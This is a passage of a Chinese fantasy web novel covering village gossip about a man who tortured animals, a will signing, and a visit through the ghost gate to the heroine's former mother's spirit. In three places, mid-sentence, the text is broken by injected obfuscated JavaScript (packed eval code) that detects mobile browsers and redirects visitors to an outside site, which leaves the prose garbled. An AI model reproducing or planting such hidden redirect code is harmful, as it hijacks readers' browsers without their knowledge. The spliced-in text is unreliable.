这个镇子里的大部分年轻人都去了市区或是外地打拼,只剩下一些上了年纪的人和很少一部分的青年人仍然居住在这里。 这日中午,小镇一隅几个邻居像往常一般聚在一起,坐在门外房屋阴凉下,一边择豆角,一边聊着家常琐事和邻里八卦。 提起小镇街坊邻里的事,一个穿着深蓝色衬衣的大娘突然想起什么,说:“哎,你们听说老刘家二小子的事儿了吗?” 她对面穿着紫色短袖的大娘转头朝身后街道转角处的一个房子看了一眼,压低声音说:“我听说了。” 其余的几个人不知道这二位在打什么哑谜,一头雾水的,也跟着压低声音问:“啥事儿啊?刘家二小子咋啦?” 其中一个道:“你一说我才想起来,那小子整天游手好闲地到处晃悠,这一晃好几天了吧,咋看不着他人了呢?” 蓝衬衣大娘也抬头朝街道转角处的那个房子看了一眼,手里择豆角的动作停了下来,身体微微前倾,迫不及待地和一众邻居伙伴分享自己的听闻。 她低声道:“我听说啊,刘家二小子不知道得了什么毛病,突然就傻了,据说已经不认识人了,连他爹妈都不认识了,见人就呵呵呵地傻笑。” 她身侧的穿着白色短衫的大娘一拍大腿,一时忘了控制音量,扬声道:“艾玛!咋整的?咋突然就成傻子了?具体啥病没看大夫啥的吗?” “你小点声儿!”紫色短袖大娘连忙提醒她,见她捂住了嘴,关闭了音量,才低声回答说:“他爹妈领着看大夫了,没查出来具体啥毛病,就说好像是什么神经上受到了刺激导致的毛病,大夫也没说出个具体原因来。” 蓝衬衣大娘又择起了豆角,哼笑了一声,颇有些幸灾乐祸的意味,说:“我看呐,就是那小子太不是个东西了,老天都看不下去了,遭报应了。” 白短衫大娘这次记得压低声音了,她的亮晶晶的视线在几位老姐妹的脸上扫视一圈,小声说:“我看也是,那小子太不是东西了,成天和一些不三不四的人来往,三天两头打架进派出所,谁管也不听,岁数也不小了,到现在也没个媳妇,跟流氓有啥区别?” 白短衫对面的大娘也说话了,“还找媳妇呢,就他那德行,喝点酒连他爹妈都揍,谁家好闺女能给他啊。” 紫色短袖的大娘住的离他家最近,她回头看了看自己家的方向,又看了看街道转角处老刘家的房子,说:“那小子不光打人,我感觉啊,是没人真惹着他,给他惹急了,他八成都敢杀人。” 白短衫大娘连忙问:“咋说呢?他干啥了?” 紫色短袖的大娘低声说:“我家不是离他家近吗,半夜的时候,我总能听见他家各种猫啊狗啊的叫唤声,那叫的,老渗人了,听的我头皮都发麻。我老头跟我说,这小子喜欢祸害猫猫狗狗啥的,我老头还说了,这种喜欢祸害猫狗的,都是隐藏的杀人犯,让我平时少和他家打交道。” “你家那人说的没毛病!”蓝衬衣大娘说:“这小子下手可狠了,我也觉得,他要是不得这傻病,杀人也是早晚的事儿!就之前,我上老孙家打麻将,打的有点儿晚,将近十二点了我才回去。当时我路过他家的时候,就看见他家房后地上血呼啦的。我当时也是太好奇,就上前仔细瞅了瞅,结果你们猜我看见啥了?” 白短衫大娘心急,接过话头,连忙问道:“看见啥了?” 蓝衬衣大娘卖够了官司,这才说道:“我在他家房后的垃圾堆里,看见了两个被扒了皮的东西,血肉模糊啊,我也认不出是猫还是狗了。关键是其中一个还没死透,眼睛还会眨呢,当时它看我的那个眼神,给我吓一哆嗦,我也没敢细看,赶紧我就回家了。从那之后我都绕开他家后边那条路。” “艾玛!”白短衫大娘重重地啧了一声,感慨道:“都说他突然得这傻病,这也太不是东西了,咱就是说,你就算不得意那玩意,也不至于给活活扒皮啊,那得多疼啊!” 蓝衬衣大娘撇了撇嘴,说:“要我说,刘家二小子就是遭报应了,现世报!要不好好的,咋能这么奇怪,就一个晚上,说傻就傻了!” 穿着紫色短袖的大娘择完了所有豆角,拍了拍手上的灰尘,双肘撑着膝盖,小声道:“说起这种怪事儿,我想起来我远方亲戚家了。” 白短衫大娘问:“咋的了?也是有人突然得这傻病了啊?” “那倒不是。”紫色短袖大娘说:“就远方亲戚他家孩子,小时候是个好孩子,后来辍学之后在社会上认识一帮乱七八糟的人,成天跟着瞎混。” “那不和刘家二小子一样吗?”白短衫大娘感慨道。 “比老刘家那个强点儿。”紫色短袖大娘摆摆手,说:“这孩子没有老刘家的那个那么混,至少不打他爹妈。” “那你说奇怪,哪儿奇怪了?”蓝衬衣大娘问道。 紫色短袖大娘:“我这不正要说呢嘛!这孩子虽然没有刘家那个那么不是人,但之前也不是啥好鸟,也像刘家二小子似的,爱抓猫啊狗啊鸟啊啥的。然后也就是前几天的事,说是晚上做了个梦,第二天起来之后就跟变了一个人似的,之前那些烂七八糟的人他也不来往了,把家里抓的偷的鸟啊猫啊啥的也放了,还为自己之前干过的混账事向他爸妈道歉呢。” 白短衫大娘震惊道:“唉呀妈呀,变化这么大吗?!” “那可不!”紫色短袖大娘说:“这孩子现在可像样了,听他家亲戚说,人家现在阳光开朗,见人就笑嘻嘻,还没事儿还爱做好事儿,喂喂街上没人要的流浪猫狗啥的。” 蓝衬衣大娘啧啧两声,感慨道:“瞅瞅,这人和人的差距咋这么大呢?有的人就突然变的这么好,有的就成了傻子了。” 说到后半句,她还抬头看了一眼转角处刘家的房屋。 人群中,不知道是谁接了几句。 “嗐,这种事谁能说得准具体咋回事儿。” “我看啊,人还是得积德,不能太坏,人太缺德老天都看不下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024980|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “老话不是说了嘛,人在做天在看……” ** 清幽安静的茶室内,道初一口饮尽杯里的茶水,手指下意识捏了捏杯身,静止良久,才将杯子放下,轻叹一口气。 道初偏头看了眼身侧的空位,低声道:“昭冥……他今日不肯和我一起过来。” 玄都温和一笑,比起道初身上的沉重,他却满身的轻松和不在意。他道:“我明白。” 道初的拇指在茶杯上无意识地摩挲着,良久,问了一句:“真想好了?” 玄都没答话,只是温和地笑了笑,点了点头。 道初心里明白,他这是已经打定了主意。他这个小师弟,其实从小就这样。看上去温和寡言,但万事心里都有自己的主意。 道初拿出两个文件夹,按在桌面上,一并推到玄都面前,喉咙无意识滚动,最终他还是抬起了手,将文件留在了玄都那边。 “多谢师兄。”玄都轻声道了声谢,将两份文件一一打开看。他的动作轻缓随意,甚至有些漫不经心,仿佛是在一个休闲的午后,打开两份无关紧要的娱乐报纸一般。 玄都看着手上这份关于赵氏集团进一步调查的文件,比之上次的那份文件,这次的调查结果详细了许多,包含了赵氏集团的股权结构,以及一些持股人的信息。 最重要的是,这次查出了乔家父子的住址信息。 看完文件后,玄都将它收好,又打开了另一份。 午后的阳光顺着干净的玻璃溜了进来,洒落在这份刚刚被打开的文件上,“遗嘱”两个字,在午后阳光下,亮得格外惹眼。 道初别开了眼,没去看那两个字,仿佛对那处光亮厌恶到了极点。 玄都神色平静地将那薄薄的一张纸看完,眉眼低垂温柔,波澜不惊。 确认无误后,他拿起笔,在“立遗嘱人”的后面,签上了“白絮飞”三个字。 劲瘦有力,干脆利落。 签完字收好遗嘱后,玄都抬眼,看到了道初脸上的沉痛。他将签好字的遗嘱交给道初,想了想,温声道:“一个保障,说不定用不上的。” 道初艰难的拉起唇角,扯出一抹苦涩的笑,无力的点了点头,“嗯,知道。” 究竟只是一份保障,还是未来很大概率会派上用场,他比谁都清楚。 只是道初忍不住问:“你真觉得,她……会如你的意吗?” 玄都倒茶的动作顿住了,拿着茶壶的手停在了半空,腕骨突出,线条流畅。半晌,他将茶壶放下,声音低沉却很肯定:“会的。” 道初没再说什么,他偏过头,透过玻璃去看窗外天际破碎的云。他看了很久,才低声呢喃了一句:“说不定,没那么遭,未必用得上。” “嗯。”玄都只是应和,没有反驳。 窗外天色湛蓝,阳光炽热。已经到了夏末,蝉鸣声渐渐退去,路边绿树枝桠经过一整个夏天太阳的烘烤,无力的垂下头,任由盛夏时繁茂又旺盛的生命力肆意流失。 66. 鬼门 今天是个晴天,傍晚的时候,火烧云连成片,通红通红的,天地间都成了橘红色的暖色调。 玄都回到基地的时候,红雨正纠着眉毛安排三只小三花和小橘猫吃饭。 小橘猫因为身体行动不方便,红雨用纸壳单独给它隔出了一个空间,小家伙正一口一口地慢慢吃东西。 只是这三只小三花有些调皮。几个小家伙长大了些,也逐渐被养出了小脾气,每次吃饭的时候,总是觉得人家碗里的更好吃,于是便过去抢。三只小猫一不小心就抢成一团,于是红雨只得耐心地一遍遍拉架。 一顿饭下来,她光是拉架都不知道要拉几回。 几个小家伙终于吃完了饭,红雨把它们送到与大型猫狗隔离开的围栏里去玩,转身要去收拾它们吃饭时弄脏的地面。 一回头,便看见,不知道什么时候回来的玄都,正曲膝蹲着将地面上凌乱的碗一个个拾起,放到一边,又拿了扫把过来将洒在地上的食物残渣扫干净。 红雨这下也不着急收拾了,于是便倚靠在围栏边,歪头看着干活的人。 干活的人察觉到某人的视线,偏头看了过来,一双狭长好看的眸子里,盛满了温柔笑意。玄都笑了笑,又继续手上收拾食物残渣的动作。 红雨看着他慢条斯理地收拾好一片狼藉,忽地笑出了声。 她想起三百年前,他也是这般,不论她弄乱了什么,玄都总是无奈笑笑,然后有条有紊地将她留下的乱摊子收拾好。 玄都收拾好,走了过来,抬起胳膊用手臂贴了贴红雨的额头,问道:“想什么呢,这么开心?” 红雨耸耸肩,一脸满足地笑着说:“我在想,这种久违的、有人给我收拾乱摊子的感觉,真的很不错。” “这算什么乱摊子?就是将垃圾打扫干净,顺手的事儿。”说着,他抬眸看向红雨,想起前尘琐事,笑道:“除去偶尔和邪祟缠斗得太过投入让自己受伤,倒是也不曾给我留下什么乱摊子。” 提起这些,红雨心虚笑笑。 其实玄都的脾气向来好,一般只有两种情况,会让他眉眼间的温和淡去几分。 一种是她受伤之后跑回去的时候,玄都每每看见她的伤口,神色总是不悦的,还会语气严肃地警告几句:能捏法咒解决的邪祟,就不要冲上去近搏。 另一种情况,则是她撩拨他太过,玄都便一边红着耳朵,一边给她讲男女有别什么的。 想起过往,红雨怕他想起自己曾经那种顾头不顾腚的打法,又要啰嗦,于是连忙扯着玄都的胳膊,拉他进屋吃晚饭。 晚上,临近午夜,红雨洗完澡,正坐在镜子前用吹风机吹干头发。卧室外的楼梯传来咚咚咚的脚步声。 红雨没回头,只是透过镜子往门口的方向看。片刻后,一道清瘦修长的身影,穿着白色的薄衬衫,出现在门口。 玄都迈着均匀的步子,走到她身后。 红雨自然而然地将吹风机塞到他手上。玄都接过,熟练地给她吹头发,长指在湿漉漉的黑发间任意穿梭。 红雨眯着眼,感受暖洋洋的热风从发间传来,他的手指偶尔不经意地扫过她的耳廓,有些痒,但她也不肯躲开,反而会刻意偏头让自己的耳朵贴近他的手指,在他指尖蹭一下。 头发很快吹干,玄都关了吹风机,放到一边,抬手将她的长发拢到身后,露出两个耳朵,不轻不重地捏了一下。 他的指尖有些泛凉,却不是很冰。红雨从镜子中看向他,笑了笑,却没说话。 玄都也通过镜子,迎上她的笑脸,他看了她许久,才开口问道:“和我一起去个地方?” “好啊。”红雨想都没想就答应下来,答应下来后,才问道:“什么时候去?” 玄都道:“现在。” ** 红雨跟着玄都,沿着村外的公路,一路向西走。 走着走着,红雨渐渐意识到了不对劲。 一开始,这段路的确是平州市的一条普通公路。可走着走着,道路两旁的城市景观逐渐变得模糊不清,到后半段,整条路都换了模样。 枯叶铺路,乌鸦盘飞,阴风阵阵,吹的人发尾飘起又落下。 红雨对这条路没什么印象,但大概猜得到这是要去哪儿。 果不其然,走了一会儿后,便看见在路的尽头,是两块相对而立的嶙峋怪石。怪石上黑色藤蔓蜿蜒盘绕,藤蔓上血红微光明灭闪烁,像是许多双眼睛,不时开合。 两块怪石中间,是一道不宽不窄的缝隙,大约能同时容纳四五人并排通过,像是一道门户。只是这缝隙幽暗深邃,外面雾气缭绕,里面却充斥着阴森恐怖的气息。 怪石间的缝隙仿佛有一道无形的屏障,将里面的森然阴风和恐怖气息一并阻挡。外面的人不得进,里边的东西不得出。 而这道屏障,就是鬼门。 两人停下脚步。玄都从自己宽大的袖口中拿出珠串和符篆。动作熟稔地将那有两颗珠子发着亮光的珠串放到地上,点燃符篆放到珠串正中央。 符篆燃烧的火焰散发出蓝色的光芒。 红雨眨了眨眼,道:“通行令?” 玄都点点头:“神女给的。” 所谓“通行令”,顾名思义,是天京众神众仙或地府有品阶的鬼差给予凡界生灵进入其余两界的凭证。 不同神仙和鬼差的通行令也各不相同,各有其特色。比如玄都拿的这来自青羽神女的通行令。 红雨在青羽仙山化形,在神女身边待了数年,见过神女的通行令。 湖蓝色珠串,三颗亮珠,代表通行三次。 之所以是通行三次,即一次入、一次出,最后一次,是上仙山归还珠串。 “哦,你用了一次?”红雨脱口而出问道。问完之后,红雨反应过来,上一次用在哪里了,又为什么只用了一次,即,只去未出了。 红雨自问自答道:“你上一次是用来闯天京,质问天道了吧?” 质问天道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050470|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受了天罚,被天雷打下来,自然就无须再用第二次通行令出天京了。 被红雨猜中了因由,玄都曲指摸了摸鼻尖,无奈笑笑,从嗓子里低低地溢出一声:“嗯。” 红雨难免有些心疼,本想也板起脸来训一训他,可转念一想,凡是涉及到彼此的事,他们俩一个胜一个的冲动糊涂,谁也用不着说谁,便抿唇作罢。 她叹了口气,感慨道:“算了,咱们以后都聪明一点,不用一遇到关于对方的事,就不顾后果什么都敢干。这会显得我们俩有点儿缺心眼。” 玄都失笑,点了点头,道:“嗯,说到做到。” 玄都重又看向鬼门的方向,他正对鬼门,躬身行了一礼。待他起身时,鬼门里飘出一枝不见叶的曼殊沙华,轻轻晃了晃。就像是在招手一般。 恰好符篆燃尽,灰烬随风而散。玄都拾起仅剩一颗亮珠的珠串,放进袖口,随后牵着红雨,迈入鬼门。 冥府中,虽然是鬼魅阴差四处走,残魂野鬼到处游,但红雨置身其中,并没有觉得有什么恐怖之感。反倒是生出一种淡淡的熟悉感。 他们是用神女的通行令进来的,冥府里的阴差鬼魅见到他们,只以为是奉青羽神女的命令下来办事的,也就不会上前打扰。 经过黄泉路时,红雨停下了脚步,语气肯定道:“我记得我以前在这里走过好几次。” “自然。”玄都点头道:“你轮回七世,神女与师傅并未干涉,是以,应当同所有人一样,要走这段轮回路。” “怪不得我觉得熟悉。”红雨道:“其实我那个时候没什么意识,稀里糊涂地走过一趟又一趟的,所以我只觉得熟悉,但是记不真切了……” 玄都牵着红雨,到了一处屋舍俨然的地方。 这里乍然看去,有些像人间古代的长街。街道宽阔平整,纵横交错,屋舍俨然,有些还带着小小的一方庭院。 街道上,百鬼穿行,有男有女,有老有少,更有一些鬼猫鬼狗,在街边懒洋洋地打着滚。只是这里没有阳光,不见日升日落,也不知朝暮轮转。 一路上,玄都目的地十分明确的牵着红雨,穿过混乱纷杂的街道,拐了两个弯,最终到了一处颇为现代化的房屋前。 这屋子不算小,带着一个小院子。透过低矮的院墙,红雨看见,院子里有许多毛茸茸的小家伙挤成一团,或是随意打滚。 红雨心底隐约猜得到这是哪里,心底流淌过一丝微妙的感觉,一时间,她竟有些不知所措。 玄都正要敲门的手停顿在半空,他看向红雨,没有出声,只是默默地等待着。 半晌,红雨长呼一口气,她拽了拽玄都的衣袖,问道:“她……还能认出我吗?” 玄都放下手,沉声道:“认不出了。” 红雨将视线移到一边,看向那百鬼穿行的嘈杂街道,缓缓地点了点头。 玄都薄唇动了动,想要说些什么,最终并未开口,只是缓缓抬手,叩响了面前的这扇木门。 67. 承婉 门一敲响,一道温婉的女声从院中传来:“门没有锁,请进!” 玄都手上用了些力气,两扇木门缓缓推开,红雨一眼看到庭院之中,一个扎着长辫子,穿着白色短袖和深色牛仔裤,气质极为温柔的女人推开屋门,走了出来。 她身材高挑,面容慈祥和善,右侧眼尾上方一直到太阳穴的位置,有一片红色的不规则印记,像是一朵牡丹,盛放在皮肉上。 李碧桃回忆着,那里,似乎是她的致命伤。 那是她生前伤口最深,染血最重的地方。那时碧桃年幼,什么都不知道,还是警方做完尸检后,帮忙收拾好了她的尸身。 但碧桃记得很清楚,在那个似乎看不见天明的夜晚,鲜血从那个女人的头上源源不断地淋漓流淌,染红了她温柔的眉眼,也弄脏了她身上那件向来干净的白色布衫。 她姓李,全名李承婉。 李承婉出生于一个临水小镇,是家里第三个女儿,她的出生并没有给这个家庭带来半分欢笑,反倒使这个迫切地想要一个儿子的家庭陷入激烈的争吵。 那次争吵的结果,是承婉的母亲妥协,任由公婆和丈夫将这个还没取名字的女婴抛弃在无人的街角。 一户姓李的人家有一对小夫妻。小夫妻都是知识分子,上学时自由恋爱,毕业后便结了婚。只是因为一方的身体原因,无法生育。但尽管如此,这也并没有影响两个人之间的感情。 当夜,小夫妻去外地办事,回家路上,途径那个街角,捡到了那个被遗弃的女婴,取名——李承婉。 李承婉在养父母的精心照料下长大,跟着恩爱博学的父母读书、明理,就这么顺顺利利地长到了十七岁。 可惜命运多舛,世事无常。在李承婉即将迎来高考的前一个月,养父母出了事故,双双离世。养母离开前,告诉了承婉她的身世。 年少的承婉单纯、善良。失去养父母的庇护后,承婉没了依靠。十七岁的少女,骤然面对双亲离世,自己是被收养的事实,再加上高考失利,一时间,承婉的人生陷入了混乱的无措和空荡荡的迷茫。 恰好这时,承婉收到了一个消息,一个令十七岁的承婉期待、欣喜,实际上却使她从此万劫不复的消息。 她找到了自己的亲生父母。 那时的承婉出落的亭亭玉立,胸有笔墨,性格乖巧温婉。刚回到那个家的时候,承婉收到了格外亲切的欢迎。 早早出嫁的大姐和二姐对她连声夸赞,为她收拾出干净的屋子,还一起给她买了一身新衣服。 即使那套衣服,并不合身。 两个弟弟虽然不太满意她的突然到来,但在父母几次教训下,也不敢多说什么。是以,当时的承婉,一度以为自己又重新找到了依靠。 李承婉开始觉得不对劲,是父母不让她继续读书,反而让她学习如何做家务照顾一大家子人的时候。但乖巧懂事的承婉知道家里条件有限,并未觉得委屈。 可渐渐的,她从原来的家里带来的书被父母卖掉了,她在不知不觉中承担起了全家的家务,为全家人做饭,洗衣……再后来,她被迫嫁给了那个男人。 也就是,李碧桃生理上的父亲。 李承婉跟着那个男人搬到平州,生活在那个小小的村子里,每天围绕着闷热的灶台和干不完的家务活去熬日子。后来,生下李碧桃,带着女儿挨打、忍让,一起熬下去。 李承婉是个很乐观温柔的人,即使丈夫喜怒无常,时常打骂,但她依旧尽自己最大的努力,庇护小小的碧桃平安长大。 她带着碧桃读书,陪伴碧桃成长,无论自己是刚从丈夫的拳头下死里逃生,还是被狠狠咒骂,她都会扬起那张时常青紫的笑脸,安抚茫然害怕的小碧桃。 在那段苦涩难堪的日子里,女儿成了她所有的快乐和期盼。 直到有一天,李承婉的一生,在拳头与咒骂声中终结。 而当年,在李承婉出嫁的两个月以后,李承婉的两个弟弟,先后娶了妻。 李承婉推开屋门,看到两位年轻的来客,莞尔一笑道:“请问两位是有什么事吗?” 她弯着眉眼,看了李碧桃一眼,只觉得这姑娘长的极美,明明美的近乎妖冶,却让人觉得面善。与此同时,一种微弱的熟悉感从她心中划过,转瞬即逝。 李碧桃干咽了一口唾沫,沉默片刻,才弯起唇说:“我们……我们是新到任的鬼差,四处转转,熟悉环境。刚才看见您的院子里养了很多猫猫狗狗,就想进来看看。” 闻言,李承婉低头看了眼蹭到自己脚边的一只猫,她抬头看向李碧桃,道:“它们不是我养的。人死之后,尚且有家人收敛尸体,有棺椁和墓地,在这里也就能得一方庭院。这些猫猫狗狗的死了,也没个收尸的地方,到了这边,依旧是流浪。我一个人住在这里也空荡,它们来我这里落脚也算是陪我了,等到时候了,我们刚好一起去投胎。” 李碧桃愣了一瞬,才问道:“您……您快投胎了吗?” “嗯。”李承婉点了点头,想起这两位鬼差是新来的,对这边不太熟悉,便解释道:“这里的街道是按照投胎的顺序排列的,越靠前的,投胎越早。每条街道的灵魂走的差不多了,这街道会自动往前移。” “您不是已经来了很久了吗?这十几年来,您一直在排队吗?”李碧桃心急,脱口就问了出来。问出口后,才觉得失礼,道:“抱歉,我……我只是不太了解这边的情况,如果不方便说的话,就……” “没什么不方便的。”李承婉看出这姑娘脸上的歉意,她哪里会因为这种小事不悦?至于这姑娘为何知道她死了多久,她想,他们毕竟是鬼差,能看出她死了多久,倒也不奇怪。 李承婉对李碧桃露出安抚一笑,她温声道:“我在人间还有些执念,所以徘徊的久了一些。执念解了,我才来这边排队等待来世。” 来到这里等待投胎的灵魂,早已经化解了执念。而他们在人间眷恋的人或事,在化解的那一刻,便也统统忘却。 所以她认不出李碧桃了,也忘记了自己的执念,是那个小时候睁着圆溜溜的大眼睛,追在她身后喊妈妈的小姑娘,也是那个后来出落的漂亮、聪明、善良的李碧桃。 她忘记了,她死后的很多年,一直孤零零地徘徊在熙熙攘攘的人世间,看着那个小姑娘长成了大姑娘,直到后来,亲眼看到她有了可靠的伴侣。 ——那是一个温柔、帅气、有担当的男孩子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097297|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李碧桃看着她脸上慈祥的笑,抿了抿唇。即使无从问起,李碧桃也知道,她所说的执念,一定是自己。 “您……”李碧桃开口时,声音有些哽咽,她偏过头,下意识去抓身侧玄都的手。 玄都抬起单薄的手掌,稳稳接住她无措乱抓的手,捏了捏她的手指,默默地给她力量,让她平复心情。 李碧桃将视线落在李承婉垂在身侧的手上。 就是这双白皙的手,曾经牵着她走过街道和公园,为她扎各种各样的小辫子,她会用这双手,在她的辫子上摸一摸,在摸一摸她儿时的脸,笑着说一声:“我们碧桃真好看。” 也是这双手,会扶起跌倒的小碧桃,拍去她身上的灰尘,仔仔细细地检查她身上有没有伤口,然后抹掉她脸上的泪水,说一句:“不哭不哭,我们碧桃是最坚强的小朋友。” 这双白皙又结茧的手,也会在那个人渣喝醉要动手的时候,将小小的她推出去,告诉她:“妈妈要和你玩躲猫猫的游戏,你在院子里找个地方躲起来,妈妈一会儿来找你。” 其实李碧桃还有很多话想和她说,可看着李承婉如今轻松温和的笑脸,似乎又没什么好说的了。 她回过神来,看向李承婉,露出一个十分灿烂的笑容。 李碧桃道:“我们还要去别的地方转转,您……您来生一定要平安、顺利、幸福……还有就是,无论遇到什么事,都要考虑到自己。” 李承婉怔愣片刻,点了点头,道:“谢谢,姑娘。” ** 红雨和玄都离开了那个小院子。他们站在街道的边缘,看着那淹没在许多房屋庭院之中的那个小院子。 红雨吸了吸鼻子,迟疑道:“她……来生……” “一切都好。”玄都清楚她想问什么,道:“出生在一个温馨的家庭,有真心爱她的父母亲人,虽然偶有烦恼,但大多数都是一些小事情。总体上,一生安乐、顺遂。” 红雨破涕为笑,点头道:“那就好。” 在见了她这一面之后,又得知她来生安顺,恍然间,红雨觉得,自己似乎放下了属于李碧桃的种种前尘和过往。 或者说,在这一刻,李碧桃这个名字,以及这个名字所附带的种种,一同融入了红雨的人生之中。 李碧桃和红雨,是真真正正的,同一个人。 那些属于李碧桃的阴影,在红雨的身上,得到了消融。 虽然眼睛还红红的,但是红雨觉得自己心里很轻松。她看向玄都,笑着问道:“你怎么想到带我来见她?” 玄都抬起手,微微泛着凉意的指腹在她通红发热的眼皮上贴了贴,道:“我想,你应该来送她这一程。” 玄都收回手,看向百鬼横行的嘈杂街道,眸色幽深暗淡,他的声音很低、语速很慢,他说:“有些人,即使不得不分别,只要缘分未尽,也依旧会重新相逢。” 他偏头看向身侧的人,目光定定地落在她身上,一字一句道:“红雨,哪怕有一天,那个离开的人是我,我也希望你依旧记得,即使我彻底消散,但终有一日,我会以另一种形式来见你。或许是一阵风雨,或许是你路过的一棵柳树,但无论如何,我都依旧在你身边。” 68. 初见 “我不要!”红雨直视玄都的双眼,语气近乎蛮横:“三百年前你就答应过我,会一直陪着我,所以我要你好好的陪在我身边,除了这个完整的、有体温的、活生生的你,我不接受其他任何一种形式的陪伴!” 玄都愣了一下,薄唇开合,最终露出了一个极具安抚意味的笑容,他温声道:“这只是一种假设。” “我不接受这个假设!也不想听到这种无聊的假设。”红雨以一种不容商量的语气道。 两人的目光就这样交汇在半空中,不知不觉中,带着一种对峙的意味。 倏忽,诡异的街角起了一阵阴风,卷起了破碎纸屑和片片枯叶,也吹得人眼睛干涩、发红。 半晌,玄都在心中叹了一口气,似是妥协一般,无奈道:“我的错,不应该提这样的假设。” 红雨心里有些生气,便别开了眼,故意不去看他,但还是忍不住小声强调了一句:“这种假设根本就不可能成立。” “嗯,不成立。”玄都的嗓音很低,用一声低声的呢喃,掩盖了声音中的底气不足和愧疚心虚。如果可以,他也希望,这只是一个无聊的、根本不会成立的假设。 回去的一路上,红雨都带着气,不太想同他讲话。 这种赌气的沉默,一直延续到回基地。 晚上十一点的时候,夏琪回了家,白豆豆也回了馄饨店,就连毛孩子们一个个也都回了窝里趴着,基地陷入一片宁静之中。只有屋外夜风拂过树梢,发出簌簌声响。 玄都将执意趴在基地屋门口值夜班的大傻送回它的窝里,站在一楼客厅,抬头看向楼梯的方向。 他迟疑了一下,然后沿着楼梯走上二楼,看见卧室的门虚掩着,留下一条小小的缝隙。卧室里暖黄色的灯光,就顺着门缝,洒落在屋门外。 玄都推开卧室的门,红雨正端坐在床边,怀里抱着昏昏欲睡的小橘猫。 玄都自知理亏,抬起一只手,用清晰的骨节在门框上敲了敲。 听见门口的动静,红雨抬头看他,却不肯说话,手指无意识地捏紧。 玄都几步走到她面前,单膝点地蹲了下来,用指尖戳了戳红雨气鼓鼓的脸蛋,“在生我的气?” 红雨望向他温润深邃的双眼,没说话,但是一本正经地点了点头。 玄都的唇角无奈勾起,语气温柔的像是在哄一个生气的小朋友一般:“是我不好,不该提那么无聊的假设,不和我生气了,好不好?” 顿时,红雨心里的气消了大半。其实她本来就没有很生气,比起生气,更多的是不安。这种不安从那一魂一魄归体,她恢复所有记忆的那一刻开始,就深埋在躁动的灵魂里,找不到来源,也找不到出处。 本来这段时候,她日日夜夜都和玄都黏在一起,这种没由来的不安已经被她隐藏了大半,可就在他今日说出那些话的时候,那些貌似消失的不安卷土重来,仿佛把她整个人拖到万米深海,沉闷,透不过气。 红雨闷声道:“那你说一遍,那个假设根本不成立。” “嗯,不成立。”玄都摸了摸她的头,语调缱绻,目光温柔,像是一眼清泉,沿着深浅不一的沟壑,流下山巅。 ** 午夜降临,夜间捕猎的寒号鸟不时路过这片寂静的街区,发出“哆哆哆”的叫声。 房间里,深灰色的窗帘拉得严严实实,一丝月光也透不进来。房间里的人似乎不太喜欢光亮,就连一盏小夜灯都没有开。 整个房间漆黑一片,如同无人居住一般死寂。 赵桥靠坐在窗边的墙上,穿着一身黑色的睡衣,一条腿伸直,另一条腿曲起,同侧的胳膊就这么随意地搭在曲起的膝盖上,头也抵在胳膊上。 他很安静,一动不动,无声无息,像是睡着了一般。 直到身旁的手机接收消息,屏幕亮起,房间里才闪过一瞬微弱的光。赵桥朝地面手机的位置瞥去一眼,直到屏幕再次暗下去,他才将手机拿起,查看消息。 是已经离开平州的助理给他发来的消息。 【他们已经拿到想要的资料了。按照您的要求,除了您和上面的身份信息,其余他们想知道的信息,都已经让他们知道了。也做了处理,没让他们知道这些消息是我们放出去的。】 屏幕的亮光映在赵桥的脸上,似乎是嫌弃屏幕的光线刺眼,他蹙着眉头,看完了消息。 他抬手回复了一句:知道了,以后这些事,你不用再管了。 消息成功发送后,赵桥没再等助理回消息,而是直接删除了助理的好友,以及电话等一切联系方式。 然后将手机关了机,扔到一旁。 赵桥不知道从哪里摸出一张照片,他依旧没开灯,只是将窗帘拉开一角,借着月光去看照片上的人。 那是一张五寸左右的照片。照片上,女孩穿着白色休闲卫衣,正垂眸看着怀里包着纱布的小泰迪。 女孩的五官精致,美的妖冶又夺目,眼尾上挑,红唇微张。仔细看的话,还能看清她右眼眼尾处,有一颗浅红色的小痣。 她所有的注意力都放在怀里的狗狗身上,丝毫没有注意到有人在不远处,悄悄拍下了这张照片。她神情专注,可在拍照人的眼里,仅仅是一个简单的眼神和动作,都透着无限风情。 照片上的人,赫然是红雨的模样。 赵桥的拇指在照片上摩挲着,恍惚间,他竟也忘了自己是什么时候拍下了这张照片。 他和她相识了数个春秋,可到头来,他手里唯一算得上念想的东西,就是这张趁她不注意拍下的照片。 赵桥偏头看向窗外朦胧的月光,和远处城市的霓虹灯光,意识不受他控制的走向另一个不为人知的方向。 他想起了几年前第一次见到李碧桃的时候。 